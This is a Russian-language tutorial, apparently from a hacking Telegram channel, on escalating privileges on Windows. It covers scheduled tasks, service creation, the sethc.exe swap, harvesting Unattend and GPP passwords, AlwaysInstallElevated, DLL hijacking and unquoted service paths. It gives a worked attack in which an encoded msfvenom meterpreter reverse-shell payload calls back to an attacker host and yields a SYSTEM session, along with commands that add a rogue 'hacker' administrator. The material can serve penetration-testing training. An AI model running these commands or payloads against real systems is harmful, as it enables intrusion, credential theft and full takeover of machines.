Повышение привилегий в Windows (часть 1)
https://t.me/Hack_Tools1#Обучение
Повышение привилегий, пожалуй, один из ключевых моментов, от которого зависит сценарий дальнейшего проведения пентеста или атаки. Очень часто на этом этапе все и заканчивается, если не получается «расширить свои полномочия».
Поэтому сегодня мы немного поговорим о способах, позволяющих пользователю повысить свои привилегии не только до администраторских, но и до системных.
Вы узнаете как злоумышленник может повысить привилегии и как от этого защититься.
Сразу оговорюсь, я не претендую на авторство для данной статьи, таких статей в интернете полно, но зачастую они немного не информацивны.
Повышение привилегий в Windows и Linux несколько различается. Несмотря на то что обе операционные системы несут обычное число уязвимостей, исследователи отмечают, что полностью пропатченный Windows-сервер встречается гораздо чаще, чем обновленный до актуального состояния Linux.
К тому же время выхода виндовых патчей зачастую меньше, что делает повышение привилегий на винде задачей достаточно интересной и амбициозной. Именно ей мы и посвятим наш рассказ.
От админа до системы, или то, что знают все
Обычно при упоминании повышения привилегий на ум сразу приходит способ, использующий планировщик задач.
В винде можно добавить задачу с помощью двух утилит: at и schtasks
Вторая запустит задачу от имени пользователя, добавившего задание, в то время как первая — от имени системы.
Стандартный трюк, о котором ты наверняка слышал, позволяющий запустить консоль с правами системы:
at 13:01 /interactive cmd
Второе, что приходит в голову, — это добавление сервиса, который будет запускать необходимый файл / выполнять команду:
@echo off @break off title root Cls echo Creating service. sc create evil binpath= "cmd.exe /K start" type= own type= interact > nul 2>&1 echo Starting service. sc start evil > nul 2>&1 echo Standing by... ping 127.0.0.1 -n 4 > nul 2>&1 echo Removing service. echo. sc delete evil > nul 2>&1
Третий способ заключается в подмене системной утилиты C:\windows\system32\sethc.exe на, например, cmd. Если после этого разлогиниться и нажать несколько раз клавишу Shift, то появится консоль с системными правами.
Что касается автоматизированных способов, то на ум сразу же приходит Metasploit и его getsystem.
Альтернативным вариантом можно считать PsExec от Sysinternals (psexec -i -s -d cmd.exe).
Охота за credentials
Один из надежных и стабильных способов повышения привилегий и закрепления в системе — получить пароли администраторов или пользователей, обладающих более высокими привилегиями.
И тут самое время вспомнить об автоматизированной установке программного обеспечения.
Если ты управляешь доменом, включающим в себя обширный парк машин, однозначно тебе не захочется ходить и устанавливать ПО на каждую из них вручную.
Да и времени это будет отнимать столько, что ни на какие другие задачи не хватит.
Поэтому используются Unattended installations, которые порождают файлы, содержащие админские пароли в чистейшем виде.
Что представляет собой просто клад как для пентестеров, так и для злоумышленников.
Пользовательские права
Очень часто повышение привилегий оказывается следствием неправильно настроенных пользовательских прав.
Например, когда пользователь домена является локальным администратором (или Power User’ом) на хосте.
Или когда пользователи домена (или члены доменных групп) являются локальными админами на всех хостах.
В таком случае тебе уже толком не придется ничего делать. Но к сожалению или к счатью такие варианты подворачиваются не так часто.
Unattended Installs
В случае автоматизированной установки на клиенте остается достаточно любопытный для нас файл Unattended.xml, который обычно находится либо в %WINDIR%\Panther\Unattend\, либо в %WINDIR%\Panther\ и может хранить пароль администратора в открытом виде.
С другой стороны, чтобы получить этот файл с сервера, не требуется даже никакой аутентификации.
Надо найти лишь «Windows Deployment Services» сервер.
Для этого можно воспользоваться скриптом из Metasploit:
auxiliary/scanner/dcerpc/windows_deployment _services
И хотя Windows Deployment Services не единственный способ выполнения автоматизированных инсталляций, файл Unattended.xml считается стандартом, так что его обнаружение можно приравнять к успеху.
GPP
XML-файлы настроек групповой политики безопасности (Group Policy Preference) довольно часто содержат в себе набор зашифрованных учетных данных, которые могут использоваться для добавления новых пользователей, создания шар и так далее. На счастье, метод шифрования документирован, таким образом, можно запросто получить пароли в чистом виде из-за того, что пароль для расшифровки данного файла расположен в документации MSDN. Если необходима подробная информация, то можем предоставить или сверстать отдельную статью по данному методу. Более того, команда Metasploit уже все сделала за тебя — достаточно воспользоваться модулем /post/windows/gather/credentials/gpp.r
AlwaysInstallElevated
Иногда администраторы позволяют обычным пользователям самостоятельно устанавливать программы, обычно делается это через следующие ключи реестра:
HKLM\SOFTWARE\Policies\Microsoft\Windows \Installer\AlwaysInstallElevated или HKCU\SOFTWARE\Policies\Microsoft\Window s\Installer\AlwaysInstallElevated
Они указывают системе, что любой MSI-файл должен устанавливаться с повышенными привилегиями (NT AUTHORITY\SYSTEM). Соответственно, задействовав специальным образом созданный файл, можно опять же выполнить действия от имени системы и прокачать свои привилегии.
В состав Metasploit входит специальный модуль
exploit/windows/local/always_install_elevated
который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы.
После его выполнения MSI-файл прекращает установку (путем вызова специально созданного невалидного VBS), чтобы предотвратить регистрацию действия в системе.
К тому же если запустить установку с ключом /quiet, то юзеру даже не выведется ошибка.
Пропавший автозапуск
Очень часто случается, что система хранит запись о файле, который надо автоматически запустить, даже после того, как сам файл уже канул в Лету.
Может, какой-то сервис был некорректно удален — исполняемого файла нет, а запись в реестре осталась, и при каждом запуске система безуспешно пытается его стартануть, забивая журнал событий сообщениями о фейлах. Этой ситуацией также можно воспользоваться для расширения своих полномочий.
Первым делом надо найти все такие осиротевшие записи. Например, при помощи утилиты autorunsc от Sysinternals.
autorunsc.exe -a | findstr /n /R "File\ not\ found"
После чего, как ты догадался, останется только как-то подсунуть на место пропавшего файла своего кандидата.
Магия кавычек " (Неквотируемые пути служб (Unquoted Service Paths))
Да-да, кавычки могут не только сыграть злую шутку в SQL-запросах, позволив провести инъекцию, но и помочь поднять привилегии.
Проблема довольно старая и известна со времен NT. Суть в том, что пути до исполняемых файлов некоторых сервисов оказываются не обрамленными кавычками (например, ImagePath=C:\Program Files\Common Files\Network Associates\McShield\McShield.exe), при этом в пути присутствуют символы пробела.
В таком случае, если атакующий создаст файл, который будет добавлять новых админов в систему или выполнять еще какие-то действия, и назовет его C:\Program Files\binary.exe, то при последующем запуске сервиса запустится именно binary.exe, а оставшаяся часть пути будет воспринята в качестве аргумента (аргументов).
Понятно, что в Program Files непривилегированный пользователь положить ничего не сможет, но исполняемый файл сервиса может находиться и в другой директории, то есть у юзера будет возможность подсунуть свой файл.
Для того чтобы воспользоваться данной техникой, надо найти уязвимый сервис (который не будет использовать кавычки в пути к своему бинарнику). Делается это следующим образом:
wmic service get name,displayname,pathname, startmode |findstr /i "auto" |findstr /i /v "c: \windows\\" |findstr /i /v """
Правда, на отмерающем XP это потребует привилегий админа, поэтому там лучше воспользоваться следующим методом: получить список сервисов — sc query, далее смотреть информацию по каждому сервису:
sc qc servicename
Для автоматизации этого метода можно воспользоваться утилитой BeRoot
Большинство способов поднятия привилегий связаны с ошибками в конфигурации установленного ПО, будь то путь к исполняемому файлу сервиса, не обрамленный кавычками и содержащий пробел (такая ситуация довольно интересно обрабатывается виндой), или же неверно выставленные права на директорию с приложением.
Итак, что же BeRoot умеет находить?
Для начала те самые пути с пробелами, не обрамленные кавычками: C:\Program Files\Some Test\binary.exe.
Если вы прошли по ссылке и освежили в памяти теорию, то можете знать, что в данном случае Windows будет пытаться найти и запустить файл в следующем порядке:
C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\binary.exe
Соответственно, если binary.exe выполняется с повышенными привилегиями и у вас будет возможность разместить на диске C:\ файл Program.exe, то вместо исходного бинарника винда выполнит ваш, что поднимет ваши привилегии в системе.
Далее, проверяются интересные директории, куда мы можем что-либо записать.
Эти интересные директории составляются из путей до исполняемых файлов сервисов, запланированных заданий, ключей автозагрузки (HKLM).
Если посмотреть запись для этой службы в системном реестре, то можно увидеть ключ ImagePath значение которого:
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
Хотя должно быть:
"C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe"
Примеры и Триксы
Для проверки прав на папку можно воспользоваться встроенной тулзой icacls.
Ниже показан результат проверки прав для C:\Program Files (x86)\Program Folder:
meterpreter > shell Process 1884 created. Channel 4 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program Folder" icacls "C:\Program Files (x86)\Program Folder" C:\Program Files (x86)\Program Folder Everyone:(OI)(CI)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) Successfully processed 1 files; Failed processing 0 files C:\Program Files (x86)\Program Folder>
Как видим группа “Everyone” имеет полный доступ к этой папке.
Значит,мы можем записать любой файл в эту папку.
Описание некоторых флагов в выводе команды icacls:
F = Full Control (полный доступ)
CI = Container Inherit (наследование контейнерами)
OI = Object Inherit (только наследование)
Теперь создадим reverse shell пэйлоад, который запустится с правами SYSTEM.
Для этого можем воспользоваться MSFvenom:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o A.exe No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai chosen with final size 360 Payload size: 360 bytes Final size of exe file: 73802 bytes Saved as: A.exe
Скопируем наш пэйлоад в C:\Program Files (x86)\Program Folder:
meterpreter > getuid Server username: TARGETMACHINE\testuser meterpreter > cd "../../../Program Files (x86)/Program Folder" meterpreter > ls Listing: C:\Program Files (x86)\Program Folder ============================================== Mode Size Type Last modified ---- ---- Name ---- ----------------- 40777/rwxrwxrwx 21:43:28 -0500 0 dir A Subfolder meterpreter > upload -f A.exe uploading : A.exe -> A.exe[/li] uploaded : A.exe -> A.exe[/li][/list] meterpreter > ls Listing: C:\Program Files (x86)\Program Folder 2017-01-04============================================== Mode Size Type Last modified Name ----------------------------- 40777/rwxrwxrwx 21:43:28 -0500 0 2017-01-04 A Subfolder 100777/rwxrwxrwx 22:01:32 -0500 dir 73802 fil 2017-01-04 A.exe meterpreter >
При следующем старте службы A.exe должен запуститься с правами
SYSTEM. Давайте проверим – рестартанем уязвимую службу:
meterpreter > shell Process 1608 created. Channel 2 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Users\testuser\Desktop>sc stop "Vulnerable Service" sc stop "Vulnerable Service" [SC] OpenService FAILED 5: Access is denied. C:\Users\testuser\Desktop>
"Доступ запрещен"
Ничего страшного, у нас просто нет прав на остановку/запуск службы, но мы можем рестартануть целевую машину, выполнив команду shutdown:
C:\Users\testuser\Desktop>shutdown /r /t 0 shutdown /r /t 0 C:\Users\testuser\Desktop> 192.168.2.40 - Meterpreter session 8 closed. Reason: Died[/li]
Как видим наша сессия оборвалась.
После перезагрузки целевой машины наш пэйлоад должен запуститься с правами SYSTEM. Для того чтобы увидеть результат нам необходимо запустить хэндлер:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.2.60 lhost => 192.168.2.60 msf exploit(handler) > set lport 8989 lport => 8989 msf exploit(handler) > run Started reverse TCP handler on 192.168.2.60:8989 [/li] Starting the payload handler...[/li] Sending stage (957999 bytes) to 192.168.2.40[/li] Meterpreter session 1 opened (192.168.2.60:8989 -> 192.168.2.40:49156) at 2017-01-04 22:37:17 -0500[/li][/list] meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > 192.168.2.40 - Meterpreter session 1 closed. Reason: Died[/li]
Как видим, теперь у нас появилась сессия Meterpreter'а с правами SYSTEM. Но почему же наша сессия оборвалась так быстро? Объяснить это можно - потому, что в системе Windows при старте службы она должна соединиться
с т. н. Менеджером Служб (Service Control Manager (SCM)). Если соединение не было установлено то Менеджер Служб завершит процесс. Поэтому нам необходимо мигрировать в другой процесс до того как
Менеджер Служб завершит работу нашего пэйлоада, также можно использовать автомигрирование. Хочу отметить, что в Metasploit есть уже готовый модуль для проверки и эксплуатации данной уязвимости на целевой машине:
exploit/windows/local/trusted_service_path
Если вы хотите использовать данный модуль, то его необходимо прилинковать к существующей сессии Meterpreter'а перед запуском:
msf > use exploit/windows/local/trusted_service_path msf exploit(trusted_service_path) > show options Module options (exploit/windows/local/trusted_service_path): Name Current Setting Required Description -------------------------------------- SESSION yes The session to run this module on. Exploit target: Id Name -- ---- 0 Windows
Чтобы воспроизвести эксплуатацию описанной уязвимости, вам необходимо добавить уязвимую службу в вашей тестовой среде:
C:\Windows\System32>sc create "Vulnerable Service" binPath= "C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe" start=auto C:\Windows\System32>cd C:\Program Files (x86) C:\Program Files (x86)>mkdir "Program Folder\A Subfolder" C:\Program Files (x86)>icacls "C:\Program Files (x86)\Program Folder" /grant Everyone:(OI)(CI)F /T
Помимо только поиска уязвимых мест, BeRoot предоставляет возможность проэксплуатировать уязвимость MS16-075 (если она есть).
Стандартный трюк с добавлением своего админа будет выглядеть следующим образом:
beRoot.exe -c "net user hacker Megapasswd /add" beRoot.exe -c "net localgroup Administrators hacker /add" Что бы еще проверить? Ключ реестра AlwaysInstallElevated, позволяющий обычным пользователям запускать на установку MSI-файлы с повышенными привилегиями.
Если эта опция включена, создавайте свой MSI-пакет и получайте полный контроль.
Также проверяются файлы, оставшиеся от Unattended Install, которые могут хранить данные админской учетки.Ну и на всякий случай проверяются такие экзотические вещи, как доступность сервиса для модификации, возможность создания нового сервиса, возможность создания ключа автозагрузки в HKLM, а также возможность записи в директорию, где хранятся запланированные задания.
В этом примере Vulnerable.exe содержит DLL hijacking уязвимость. Так как это демонстрация, то Vulnerable.exe является кодом, который подгружает длл без всяких проверок:
#include "stdafx.h"
#include "windows.h"
void _tmain(int argc, _TCHAR* argv[])
{
LoadLibrary(L"hijackable.dll");
}
Если разбираться, что же такое DLL hijacking, то это хорошо расписано этой статье (Dynamic-Link Library Security (Windows)):
Когда приложение динамически подгружает динамическую библиотеку без указания полного пути (fully qualified path name) к библиотеке, то Windows пытается локализировать эту длл путем поиска в хорошо регламентированном списке директорий и в определенном порядке (детально это описано в Dynamic-Link Library Search Order).
Если атакующему удается получить контроль над одной из директорий из списка поиска, то он может поместить вредоносную копию длл в эту директорию.
Это еще иногда называют preloading attackилиbinary planting attack.
Если системе не удается найти легитимную длл до поиска в скомпрометированной директории, то будет загружена вредоносная длл.
И если приложение выполняется с админскими правами, то атакующему удасться произвести локальное повышение привилегий (local privilege elevation).
Когда процесс пытается подгрузить длл, то система будет выполнять поиск длл в директориях в следующем порядке:
1. В директории из которой запущено приложение
2. В системных директориях
3. В системных директориях для 16-битных приложений
4. В директории Windows
5. В текущей директории
6. В директориях, указанных в переменной окружения %PATH%
Для эксплуатирования данной уязвимости нам необходимо проделать
следующие шаги:
- Проверить существует ли длл которую подгружает процесс в какой-то
директории на диске.
- Если такой длл нет, то необходимо поместить нашу вредоносную копию
длл в одну из директорий, перечисленных выше. Когда процесс будет
запущен он найдет и подгрузит нашу длл.
- Если длл существует в одной из перечисленных директорий, то
необходимо попробовать поместить нашу вредоносную длл в директорию с
более высоким приоритетом поиска чем та, в которой лежит обычная длл.Давайте проверим есть ли hijackable.dll на целевой машине:
meterpreter > search -f hijackable.dll No files matching your search were found. meterpreter >
Поиск не дал результатов, но мы не можем быть уверены на 100% что такой длл нет на целевой машине, т.к. мы находимся в непривилегированной сессии и у нас нет прав на просмотр всех директорий на целевой машине.
Следующим шагом нам необходимо проверить наличие уязвимых разрешений. Обычно я проверяю установлен ли какой-нибудь софт в корне диска, например Python. Почему лучше проверять именно в корне диска? - Потому что, первое: если каталог был создан софтом в корне диска, то у всех аутенцифицированных пользователей будут права на запись в этот каталог. И второе: софт типа Python, Ruby, Perl и др. добавляет путь в переменную среды %PATH%. Но это тема отдельной статьи.
Продолжение следует...